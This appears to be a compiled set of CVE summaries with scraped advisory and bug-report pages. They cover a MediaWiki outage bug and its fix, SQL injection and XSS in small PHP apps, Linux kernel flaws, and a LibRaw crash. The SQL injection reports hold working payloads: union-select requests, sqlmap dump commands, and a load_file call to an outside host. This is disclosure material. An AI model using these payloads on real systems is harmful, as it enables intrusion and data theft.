Hashcat is an advanced GPU hash cracking utility that includes the World's fastest md5crypt, phpass, mscash2 and WPA / WPA2 cracker. It also has the first and only GPGPU-based rule engine, focuses on highly iterated modern hashes, single dictionary-based attacks, and more. This is the binary release.

Hashcat Advanced Password Recovery 6.2.6 Binary Release

An issue was discovered in the MediaWiki through 1.38.2. The community configuration pages for the GrowthExperiments extension could cause a site to become unavailable due to insufficient validation when certain actions (including page moves) were performed.

**

Growth's Community configuration makes it possible for rogue admin to take down a site



**

*   Edit Task
*   Edit Related Tasks...
*   Edit Related Objects...

*   Mute Notifications
*   Protect as security issue
*   Award Token
*   Flag For Later

**Steps to reproduce**

1.  All the steps below need to be done from an account with sysop access
2.  Ensure MediaWiki:GrowthExperimentsConfig.json does not exist. If it exists, move it to a different title or delete it.
3.  Create MediaWiki:Foo.json with P31294 as the content (this content does not meet constraints set by GrowthConfigValidation; GEHelpPanelViewMoreTitle is int, should be string)
4.  Move MediaWiki:Foo.json to MediaWiki:GrowthExperimentsConfig.json
5.  Wait for a day, or run \\MediaWiki\\MediaWikiServices::getInstance()->get('GrowthExperimentsWikiPageConfigLoader')->invalidate(Title::newFromText('MediaWiki:GrowthExperimentsConfig.json')) in eval.php / shell.php session

**Expected behavior**

Wiki is up. No config from MediaWIki:GrowthExperimentsConfig.json is used (site should fall back to whatever the globals say). Logs (GrowthExperiments channel) complain about the fallback happening.

**Observed behavior**

Wiki is fully down (P31296 is the traceback).

Risk Rating

High

Author Affiliation

WMF Product

*   Mentions

**Event Timeline**

Comment Actions

Roughly, this is what happens:

1.  A message is requested by our own code, core, or another extension
2.  HomepageHooks is constructed, GrowthExperimentsCampaignConfig is constructed as one of HomepageHooks' dependencies
3.  GrowthExperimentsCampaignConfig's service wiring needs GECampaigns, which is stored within community configuration
4.  WikiPageConfig::getConfigData calls WikiPageConfigLoader, which returns an invalid configuration
5.  WikiPageConfig::getConfigData attempts to log into the error log, and to construct a reason for the error by calling Status::wrap( $res )->getWikiText( false, false, 'en' )
6.  Status attempts to request a couple of additional messages
7.  Back to step 1, circular dependency happened.

The easiest fix would be to not call Status::wrap( $res )->getWikiText( false, false, 'en' ) (and log message keys + parameters only instead). Alternatively, we can move HomepageHooks::onMessageCache\_\_get to a new hook.

kostajh triaged this task as High priority.Jul 18 2022, 5:25 PM

Comment Actions

> The easiest fix would be to not call Status::wrap( $res )->getWikiText( false, false, 'en' ) (and log message keys + parameters only instead).

I think let's go with that option.

Comment Actions

Basically this error has two components, right?

1.  Someone sets up an invalid Growth config page in some manner that circumvents our edit hook (which would prevent saving an invalid config page).
2.  There is a circular dependency in the error handling logic for an invalid Growth config page.

I don't think #1 has a good fix, nor that it really needs to be fixed. We could add a check to the MovePageIsValidMove hook, but there are so many nonconventional ways for a sufficiently privileged user to create a page (import, undelete, revert...), it's a lot of effort to check all of those, not a good time investment IMO.

> The easiest fix would be to not call Status::wrap( $res )->getWikiText( false, false, 'en' ) (and log message keys + parameters only instead).

IMO we should do that - it's always a good idea to avoid message rendering in error handling logic, MediaWiki's message rendering is incredibly complex (involves DB access, page access, multiple cache layers, invoking the parser...). The scenario described in this task is pretty unlikely, but if we accidentally roll out a change to configuration validation which is not backwards compatible, it would be nice for that to not break the wikis immediately.

> Alternatively, we can move HomepageHooks::onMessageCache\_\_get to a new hook.

IMO we should do that as well. MessageCache hooks are scary, MediaWiki uses messages all around the place, often invisibly, including e.g. some exception handling and relatively early setup. It would be much preferable not to interfere with it. I think we can just use a skin hook instead?

Comment Actions

Security-Team can we use Gerrit for the fixes? I don't think there is any risk of this being exploited as you'd need admin permissions + it seems hard to reverse-engineer this vulnerability from the fixes.

Comment Actions

> Security-Team can we use Gerrit for the fixes? I don't think there is any risk of this being exploited as you'd need admin permissions + it seems hard to reverse-engineer this vulnerability from the fixes.

IIUC, the exploit requires:

1.  a rogue or compromised admin on a project where ext:GrowthExperiments is enabled
2.  a 24-hour config cache invalidation period after setting the bad config (or deployment rights)

I think the risk is probably **high** in that this can bring down an _entire wiki_, but the knowledge and rights that are required to perform the exploit are also fairly high. If the patches are going to be fairly complex, then gerrit is fine given the assumptions above. Ideally, somewhat-vague commit messages/comments would be employed and this could be merged before the train cut, but I know we're pretty close to that happening for this week.

sbassett changed Risk Rating from N/A to High.

Comment Actions

> Basically this error has two components, right?
> 
> 1.  Someone sets up an invalid Growth config page in some manner that circumvents our edit hook (which would prevent saving an invalid config page).
> 2.  There is a circular dependency in the error handling logic for an invalid Growth config page.
> 
> I don't think #1 has a good fix, nor that it really needs to be fixed. We could add a check to the MovePageIsValidMove hook, but there are so many nonconventional ways for a sufficiently privileged user to create a page (import, undelete, revert...), it's a lot of effort to check all of those, not a good time investment IMO.

Agreed.

> > Alternatively, we can move HomepageHooks::onMessageCache\_\_get to a new hook.
> 
> IMO we should do that as well. MessageCache hooks are scary, MediaWiki uses messages all around the place, often invisibly, including e.g. some exception handling and relatively early setup. It would be much preferable not to interfere with it. I think we can just use a skin hook instead?

FTR, I originally meant to say "to a new hook _handler_" (that should remove the GrowthExperimentsCampaignConfig dependency, and break the circle). However, using a different hook for the reasons you described makes also sense.

Comment Actions

> a 24-hour config cache invalidation period after setting the bad config (or deployment rights)

Although that can probably be circumvented by editing another configuration file, which triggers invalidation. So maybe better to do a proper security patch. Attached:  

0001-SECURITY-Don-t-use-messages-in-WikiPageConfig-error-.patch1 KBDownload

The other patch is going to be complicated so I'd rather do it in Gerrit, but either patch is enough to prevent the issue.

Comment Actions

> > a 24-hour config cache invalidation period after setting the bad config (or deployment rights)
> 
> Although that can probably be circumvented by editing another configuration file, which triggers invalidation. So maybe better to do a proper security patch. Attached:  
> 
> 0001-SECURITY-Don-t-use-messages-in-WikiPageConfig-error-.patch1 KBDownload
> 
> The other patch is going to be complicated so I'd rather do it in Gerrit, but either patch is enough to prevent the issue.

Virtual +2 from me.

Comment Actions

0001-SECURITY-Don-t-use-messages-in-WikiPageConfig-error-.patch1 KBDownload

Slightly amended the commit message (the standard prefix is SECURITY:; \[SECURITY\] gets lost during applying the patch file) and deployed:

11:00 <urbanecm> !log Deployed patch for T313205
11:00 <+stashbot> Logged the message at https://wikitech.wikimedia.org/wiki/Server\_Admin\_Log

Comment Actions

> 0001-SECURITY-Don-t-use-messages-in-WikiPageConfig-error-.patch1 KBDownload
> 
> Slightly amended the commit message (the standard prefix is SECURITY:; \[SECURITY\] gets lost during applying the patch file) and deployed:
> 
> 11:00 <urbanecm> !log Deployed patch for T313205
> 11:00 <+stashbot> Logged the message at https://wikitech.wikimedia.org/wiki/Server\_Admin\_Log

Thanks @Urbanecm\_WMF. We can lift the security tag now? After that, we need a gerrit patch as well, right?

Comment Actions

> > Alternatively, we can move HomepageHooks::onMessageCache\_\_get to a new hook.
> 
> IMO we should do that as well. MessageCache hooks are scary, MediaWiki uses messages all around the place, often invisibly, including e.g. some exception handling and relatively early setup. It would be much preferable not to interfere with it. I think we can just use a skin hook instead?

I'm giving up on that - it seems almost but not quite possible, and I already spent more time on it than it was worth. (c815678 was my attempt - it mostly works, except in new Vector for some reason.

> FTR, I originally meant to say "to a new hook _handler_" (that should remove the GrowthExperimentsCampaignConfig dependency, and break the circle).

I did that eventually. The patch is https://gerrit.wikimedia.org/r/c/mediawiki/extensions/GrowthExperiments/+/815687 .

Comment Actions

Thanks for the patch and deploy, @Tgr and @Urbanecm\_WMF! We can track this for the next supplemental security release (T311785).

> IMO, yes, but I usually defer to @sbassett / Security-Team to decide when to publish a task.

I don't see anything on the bug that looks particularly sensitive, especially since we're patched in prod. If you're ready to make this public to start on the backports, etc. feel free to do so. Or I can make it public if you'd prefer.

Comment Actions

...although on reflection I have no idea how to do it. In the past when security tasks used the same task type, I could edit access settings, but I think now it would require a task type change? And I either don't have permission for that, or just can't figure where it's located on the UI.

Comment Actions

@Tgr - I just made it public (both the edit and view policy). Also added a note about the currently-deployed security patch here: T276237#8160184.

Comment Actions

> P31294 and P31296 are linked to this task. Any reason for them to remain private?

I don't think so -- I created them privately only because the task was private. Both pastes should be now public.

Comment Actions

Uploaded & backported to 1.37 and 1.38; the relevant code did not exist yet in 1.35.

Comment Actions

This is done from our perspective. @sbassett do you prefer leaving it open until the next release, or track that elsewhere?

sbassett lowered the priority of this task from High to Low.Wed, Aug 24, 3:16 PM

Comment Actions

> This is done from our perspective. @sbassett do you prefer leaving it open until the next release, or track that elsewhere?

Sure, it's tracked for the next supplemental release at T311785. We can leave this task open or in-progress until that release happens towards the end of the quarter, where this (now-public) issue will be re-announced. And I think we can bump down the priority now as well.

Content licensed under Creative Commons Attribution-ShareAlike 3.0 (CC-BY-SA) unless otherwise noted; code licensed under GNU General Public License (GPL) or other open source licenses. By using this site, you agree to the Terms of Use, Privacy Policy, and Code of Conduct. · Wikimedia Foundation · Privacy Policy · Code of Conduct · Terms of Use · Disclaimer · CC-BY-SA · GPL

CVE-2022-39194: ⚓ T313205 Growth's Community configuration makes it possible for rogue admin to take down a site

Garage Management System v1.0 was discovered to contain a persistent cross-site scripting (XSS) vulnerability via the brand_name parameter at /brand.php.

About one week ago, author mayurik released **Garage Management System 1.0** on https://sourcecodester.com. The web application has a lot of vulnerabilities, so let’s take a look at some of them.

**Vendor Homepage:** https://www.sourcecodester.com/users/mayurik 

**Software Link:** **https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html**

**Version:** 1.0

**Test Environment:** Ubuntu 22.04 + Apache2

**Sample Vulnerability 1:**

**Vulnerability**: Persistent Cross-site Scripting

**Component**: Parameter “brand\_name” in /brand.php

**Credits**: Russell Shen

**Cause:** There is no user input sanitization on parameter “brand\_name”.

**Simple PoC**:

**Screenshot of Exploitation:**

**Sample Vulnerability 2:**

**Vulnerability**: SQL Injection

**Component**: Parameter “id” in /print.php

**Credits**: Russell Shen

**Cause:** There is no user input sanitization on parameter “id”.

**Simple PoC**:

http://hostname:port/garage/print.php?id=1 ’\[SQL Query\]

**Screenshot of Exploitation:**

**Sample Vulnerability 3:**

**Vulnerability**: Persistent Cross-site Scripting

**Component**: Parameter “name” in /client.php

**Credits:** Chengcheng Tian, Russell Shen

**Cause:** There is no user input sanitization on parameter “name”.

**Simple PoC**:

**Screenshot of Exploitation:**

**Sample Vulnerability 4:**

**Vulnerability**: Bad Access Control

**Component**: Parameter “brand\_name” in /brand.php

**Credit:** Chengcheng Tian, Russell Shen

**Cause:** /print.php does not verify authentication and authorization.

**Simple PoC**:

Access http://hostname:port/print.php?id=2

**Screenshot of Exploitation:**

Post Views: 41

CVE-2022-36637: Vulnerability of Garage Management System 1.0

Clinic's Patient Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /pms/update_patient.php.

Permalink

Cannot retrieve contributors at this time

**Clinic's Patient Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author： lendme1996

vendors: https://www.sourcecodester.com/php-clinics-patient-management-system-source-code

Vulnerability File: /pms/update\_patient.php?id=

Vulnerability location: /pms/update\_patient.php?id=, id

dbname = pms\_db

\[+\] Payload: /pms/update\_patient.php?id=-1%20union%20select%201,2,database(),4,5,6,7--+ // Leak place ---> id

GET /pms/update\_patient.php?id\=\-1%20union%20select%201,2,database(),4,5,6,7\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: \_ga=GA1.1.1382961971.1655097107; PHPSESSID=odknb2obdq1nkaqk7p7u8hvli8
Connection: close

CVE-2022-36609: bug_report/SQLi-1.md at main · Lendme1996/bug_report

Online Food Ordering System v1.0 was discovered to contain a SQL injection vulnerability via the component /dishes.php?res_id=.

\# Online Food Ordering System Unauthenticated Sql Injection \* Exploit Date: 7/25/2022 \* Exploit Author: Leu Xuan Hieu # Exploit \* Injection Point => \`/dishes.php?res\_id=\` !\[\](https://i.imgur.com/qdPtouQ.jpg) \* Used Burp Suite capture request then save as \`food.txt\` \`\`\`python= python3 sqlmap.py -r food.txt -batch -current-db \`\`\` !\[\](https://i.imgur.com/kLRKlCD.png) \`\`\`python= python3 sqlmap.py -r food.txt -batch -D onlinefoodphp -tables \`\`\` !\[\](https://i.imgur.com/36uDA3J.png) \`\`\`python= python3 sqlmap.py -r food.txt -batch -columns -D onlinefoodphp -T admin -dump \`\`\` !\[\](https://i.imgur.com/J4SlcXJ.png) # POC \* Request \`\`\`python= GET /OnlineFood/dishes.php?res\_id=4'%2b(select%20load\_file('%5c%5c%5c%5c1ik2qvhgl8xqcydf43rujd4j6ac302otrhi48sx.oastify.com%5c%5cztc'))%2b' HTTP/1.1 Host: 192.168.1.101:8888 Cookie: PHPSESSID=311teftqpf9mla9pmac7o6sfq7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.101:8888/OnlineFood/ Accept-Encoding: gzip, deflate Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Connection: close Cache-Control: max-age=0 \`\`\`

CVE-2022-36759: Online Food Ordering System Unauthenticated Sql Injection - HackMD

An issue was found in the Linux kernel in nf_conntrack_irc where the message handling can be confused and incorrectly matches the message. A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

CVE-2022-2663: security - CVE-2022-2663: Linux netfilter: nf_conntrack_irc message handling

A race condition was found the Linux kernel in perf_event_open() which can be exploited by an unprivileged user to gain root privileges. The bug allows to build several exploit primitives such as kernel address information leak, arbitrary execution, etc.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

Date: Fri, 20 May 2022 22:14:36 +0200
From: Norbert Slusarek <nslusarek@....net>
To: oss-security@...ts.openwall.com
Cc: peterz@...radead.org
Subject: CVE-2022-1729: race condition in Linux perf subsystem leads to
 local privilege escalation

Hello,

this is an announcement for a recently reported vulnerability (CVE-2022-1729) in the perf subsystem
of the Linux kernel. The issue is a race condition which was proven to allow for a local privilege
escalation to root on current kernel version >= 5.4.193, but the bug seems to exist since kernel
version 4.0-rc1 (patch fixes the commit to this version).
Fortunately, major Linux distributions often restrict the use of perf for unprivileged users by
setting the sysctl variable kernel.perf\_event\_paranoid >= 3, effectively rendering the
vulnerability harmless.

The patch can be found at
https://lkml.kernel.org/r/20220520183806.GV2578@worktop.programming.kicks-ass.net

Details
-------

The following syscall order triggers the bug:

1) fd0 = perf\_event\_open, type PERF\_TYPE\_TRACEPOINT is created.

Called simultaneously:

2) thread 1: fd1 = perf\_event\_open, type PERF\_TYPE\_HARDWARE, group leader fd0
3) thread 2: fd2 = perf\_event\_open, type PERF\_TYPE\_SOFTWARE, group leader fd0

4) thread 1: fd1 is of type PERF\_TYPE\_HARDWARE, and the group leader is of
	type PERF\_TYPE\_TRACEPOINT. Because fd1 is a hardware event in a software event group,
	the whole group is required to move to a hardware context, so move\_group is set to 1.

5) thread 1: fd1 takes the context lock.

6) thread 2: fd2 is of type PERF\_TYPE\_SOFTWARE, so no group migration is needed and
	move\_group is set to 0. This thread \*waits\* at the lock while it's held by fd1.

7) thread 1: all siblings of fd1 and the group leader fd0 are moved from
	the current software context to a new hardware context.

8) thread 1: creation of fd1 is finished and the lock released.

9) thread 2: fd2 acquires the lock, and it is still attached to the old software context,
	even though its group leader fd0 is attached to the new hardware context.

The following sequence of event closes leaves a dangling pointer in the hardware context:

1) close fd0
2) close fd1
	All of its siblings (fd2 in this case) are attached to a new context.
	Now, fd2 is in two contexts at the same time.
3) close fd2
	The event is removed from its old software context and freed, but a dangling pointer still persists
	in the newer context. For instance, merge\_sched\_in() can access this freed event when scheduling
	in events for the hardware context, leading to a use-after-free.


Regards,
Norbert

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-1729: security - CVE-2022-1729: race condition in Linux perf subsystem leads to local privilege escalation

In LibRaw, there is a memory corruption vulnerability within the "crxFreeSubbandData()" function (libraw\src\decoders\crx.cpp) when processing cr3 files.

**Description:**

There is a memory corruption vulnerability within the "crxFreeSubbandData()" function (libraw\\src\\decoders\\crx.cpp) when processing cr3 files.

**Steps to Reproduce:**

poc (password: 0xfoxone):  
https://drive.google.com/open?id=10pjqVx6mItzmvovgqF-8IHi3jnnKQ6fD

cmd:  
magick.exe convert poc.cr3 new.bmp

Upon running this, following crash happens (Note: I enabled page heap on magick.exe):

Microsoft (R) Windows Debugger Version 10.0.18362.1 X86  
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\magick.exe convert c:\\poc.cr3 c:\\new.bmp

Symbol search path is: srv\*  
Executable search path is:  
ModLoad: 00e90000 00ea0000 magick.exe  
ModLoad: 776c0000 7785a000 ntdll.dll  
Page heap: pid 0x125C: page heap enabled with flags 0x3.  
ModLoad: 6c050000 6c0b3000 C:\\WINDOWS\\SysWOW64\\verifier.dll  
Page heap: pid 0x125C: page heap enabled with flags 0x3.  
ModLoad: 75260000 75340000 C:\\WINDOWS\\SysWOW64\\KERNEL32.DLL  
ModLoad: 76570000 7676e000 C:\\WINDOWS\\SysWOW64\\KERNELBASE.dll  
ModLoad: 6bdf0000 6c049000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_MagickCore\_.dll  
ModLoad: 75530000 756c7000 C:\\WINDOWS\\SysWOW64\\USER32.dll  
ModLoad: 756d0000 756e7000 C:\\WINDOWS\\SysWOW64\\win32u.dll  
ModLoad: 76470000 76491000 C:\\WINDOWS\\SysWOW64\\GDI32.dll  
ModLoad: 75340000 7549a000 C:\\WINDOWS\\SysWOW64\\gdi32full.dll  
ModLoad: 75dd0000 75e4c000 C:\\WINDOWS\\SysWOW64\\msvcp\_win.dll  
ModLoad: 76ab0000 76bcf000 C:\\WINDOWS\\SysWOW64\\ucrtbase.dll  
ModLoad: 754b0000 75529000 C:\\WINDOWS\\SysWOW64\\ADVAPI32.dll  
ModLoad: 775f0000 776af000 C:\\WINDOWS\\SysWOW64\\msvcrt.dll  
ModLoad: 76a30000 76aa6000 C:\\WINDOWS\\SysWOW64\\sechost.dll  
ModLoad: 75720000 757db000 C:\\WINDOWS\\SysWOW64\\RPCRT4.dll  
ModLoad: 74e90000 74eb0000 C:\\WINDOWS\\SysWOW64\\SspiCli.dll  
ModLoad: 74e80000 74e8a000 C:\\WINDOWS\\SysWOW64\\CRYPTBASE.dll  
ModLoad: 750f0000 7514f000 C:\\WINDOWS\\SysWOW64\\bcryptPrimitives.dll  
ModLoad: 76510000 7656e000 C:\\WINDOWS\\SysWOW64\\WS2\_32.dll  
ModLoad: 6bc80000 6bde2000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_MagickWand\_.dll  
ModLoad: 6bc60000 6bc7c000 C:\\WINDOWS\\SysWOW64\\VCRUNTIME140D.dll  
ModLoad: 6bae0000 6bc53000 C:\\WINDOWS\\SysWOW64\\ucrtbased.dll  
ModLoad: 6bac0000 6bade000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_bzlib\_.dll  
ModLoad: 6b9f0000 6bac0000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_freetype\_.dll  
ModLoad: 6b980000 6b9e6000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_lcms\_.dll  
ModLoad: 6b900000 6b97c000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_libxml\_.dll  
ModLoad: 6b8e0000 6b8fa000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_lqr\_.dll  
ModLoad: 6b8b0000 6b8d1000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_zlib\_.dll  
ModLoad: 6b880000 6b8a8000 C:\\WINDOWS\\SysWOW64\\VCOMP140D.DLL  
ModLoad: 6b5f0000 6b87e000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_glib\_.dll  
ModLoad: 76cd0000 77246000 C:\\WINDOWS\\SysWOW64\\SHELL32.dll  
ModLoad: 769f0000 76a2b000 C:\\WINDOWS\\SysWOW64\\cfgmgr32.dll  
ModLoad: 75d40000 75dc4000 C:\\WINDOWS\\SysWOW64\\shcore.dll  
ModLoad: 77370000 775e5000 C:\\WINDOWS\\SysWOW64\\combase.dll  
ModLoad: 75ea0000 76464000 C:\\WINDOWS\\SysWOW64\\windows.storage.dll  
ModLoad: 75d20000 75d3b000 C:\\WINDOWS\\SysWOW64\\profapi.dll  
ModLoad: 75cd0000 75d13000 C:\\WINDOWS\\SysWOW64\\powrprof.dll  
ModLoad: 76770000 7677d000 C:\\WINDOWS\\SysWOW64\\UMPDC.dll  
ModLoad: 764c0000 76504000 C:\\WINDOWS\\SysWOW64\\shlwapi.dll  
ModLoad: 756f0000 756ff000 C:\\WINDOWS\\SysWOW64\\kernel.appcore.dll  
ModLoad: 76780000 76793000 C:\\WINDOWS\\SysWOW64\\cryptsp.dll  
ModLoad: 76bd0000 76cc7000 C:\\WINDOWS\\SysWOW64\\ole32.dll  
ModLoad: 747c0000 747f2000 C:\\WINDOWS\\SysWOW64\\IPHLPAPI.DLL  
ModLoad: 74720000 747b3000 C:\\WINDOWS\\SysWOW64\\DNSAPI.dll  
ModLoad: 75700000 75707000 C:\\WINDOWS\\SysWOW64\\NSI.dll  
(125c.fa8): Break instruction exception - code 80000003 (first chance)  
eax=00000000 ebx=011be000 ecx=366a0000 edx=00000000 esi=04b1a7c8 edi=776c688c  
eip=7776eaa2 esp=00f9f7d0 ebp=00f9f7fc iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!LdrInitShimEngineDynamic+0x6e2:  
7776eaa2 cc int 3  
0:000> g  
ModLoad: 77340000 77365000 C:\\WINDOWS\\SysWOW64\\IMM32.DLL  
ModLoad: 6b390000 6b39e000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\IM\_MOD\_DB\_DNG\_.dll  
ModLoad: 6b230000 6b384000 C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_libraw\_.dll  
ModLoad: 6b170000 6b229000 C:\\WINDOWS\\SysWOW64\\MSVCP140D.dll  
ModLoad: 73db0000 73ddf000 C:\\WINDOWS\\SysWOW64\\rsaenh.dll  
ModLoad: 764a0000 764b9000 C:\\WINDOWS\\SysWOW64\\bcrypt.dll  
(125c.fa8): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
\*\*\* WARNING: Unable to verify checksum for C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_libraw\_.dll  
eax=cdcdcdcd ebx=00000000 ecx=cdcdcdcd edx=0a2465b8 esi=00f9414c edi=00f941a4  
eip=6b2e0e5f esp=00f94114 ebp=00f9411c iopl=0 nv up ei ng nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282  
CORE\_DB\_libraw\_!crxFreeSubbandData+0xf:  
6b2e0e5f 833800 cmp dword ptr \[eax\],0 ds:002b:cdcdcdcd=????????  
0:000> k  
ChildEBP RetAddr  
00 00f9411c 6b2e0de7 CORE\_DB\_libraw\_!crxFreeSubbandData+0xf \[c:\\imagemagick-7.0.10-7-x86\\libraw\\src\\decoders\\crx.cpp @ 1633\]  
01 00f94140 6b2e3100 CORE\_DB\_libraw\_!crxFreeImageData+0xa7 \[c:\\imagemagick-7.0.10-7-x86\\libraw\\src\\decoders\\crx.cpp @ 2341\]  
02 00f941f8 6b2f86f5 CORE\_DB\_libraw\_!LibRaw::crxLoadRaw+0x210 \[c:\\imagemagick-7.0.10-7-x86\\libraw\\src\\decoders\\crx.cpp @ 2440\]  
03 00f94374 6b300abc CORE\_DB\_libraw\_!LibRaw::unpack+0xa25 \[c:\\imagemagick-7.0.10-7-x86\\libraw\\src\\decoders\\unpack.cpp @ 282\]  
\*\*\* WARNING: Unable to verify checksum for C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\IM\_MOD\_DB\_DNG\_.dll  
04 00f94380 6b391be6 CORE\_DB\_libraw\_!libraw\_unpack+0x2c \[c:\\imagemagick-7.0.10-7-x86\\libraw\\src\\libraw\_c\_api.cpp @ 136\]  
\*\*\* WARNING: Unable to verify checksum for C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_MagickCore\_.dll  
05 00f963d8 6be552e3 IM\_MOD\_DB\_DNG\_!ReadDNGImage+0x466 \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\coders\\dng.c @ 408\]  
06 00f9b4f0 6be568ac CORE\_DB\_MagickCore\_!ReadImage+0x543 \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\magickcore\\constitute.c @ 553\]  
\*\*\* WARNING: Unable to verify checksum for C:\\ImageMagick-7.0.10-7-x86\\VisualMagick\\bin\\CORE\_DB\_MagickWand\_.dll  
07 00f9c534 6bcad449 CORE\_DB\_MagickCore\_!ReadImages+0x2fc \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\magickcore\\constitute.c @ 941\]  
08 00f9da94 6bd1912d CORE\_DB\_MagickWand\_!ConvertImageCommand+0xd29 \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\magickwand\\convert.c @ 606\]  
\*\*\* WARNING: Unable to verify checksum for magick.exe  
09 00f9eb50 00e913de CORE\_DB\_MagickWand\_!MagickCommandGenesis+0x2cd \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\magickwand\\mogrify.c @ 186\]  
0a 00f9fc84 00e91626 magick!MagickMain+0x3de \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\utilities\\magick.c @ 149\]  
0b 00f9fca4 00e91d2e magick!wmain+0x46 \[c:\\imagemagick-7.0.10-7-x86\\imagemagick\\utilities\\magick.c @ 195\]  
0c 00f9fcb8 00e91c10 magick!invoke\_main+0x1e \[f:\\dd\\vctools\\crt\\vcstartup\\src\\startup\\exe\_common.inl @ 79\]  
0d 00f9fd10 00e91abd magick!\_\_scrt\_common\_main\_seh+0x150 \[f:\\dd\\vctools\\crt\\vcstartup\\src\\startup\\exe\_common.inl @ 253\]  
0e 00f9fd18 00e91d48 magick!\_\_scrt\_common\_main+0xd \[f:\\dd\\vctools\\crt\\vcstartup\\src\\startup\\exe\_common.inl @ 296\]  
0f 00f9fd20 75276359 magick!wmainCRTStartup+0x8 \[f:\\dd\\vctools\\crt\\vcstartup\\src\\startup\\exe\_wmain.cpp @ 17\]  
WARNING: Stack unwind information not available. Following frames may be wrong.  
10 00f9fd30 77727c24 KERNEL32!BaseThreadInitThunk+0x19  
11 00f9fd8c 77727bf4 ntdll!RtlGetAppContainerNamedObjectPath+0xe4  
12 00f9fd9c 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0xb4

**System Configuration:**

*   ImageMagick:  
    Version: ImageMagick-7.0.10-Q16 https://imagemagick.org  
    License: https://imagemagick.org/script/license.php
*   Environment (Operating system, version and so on):  
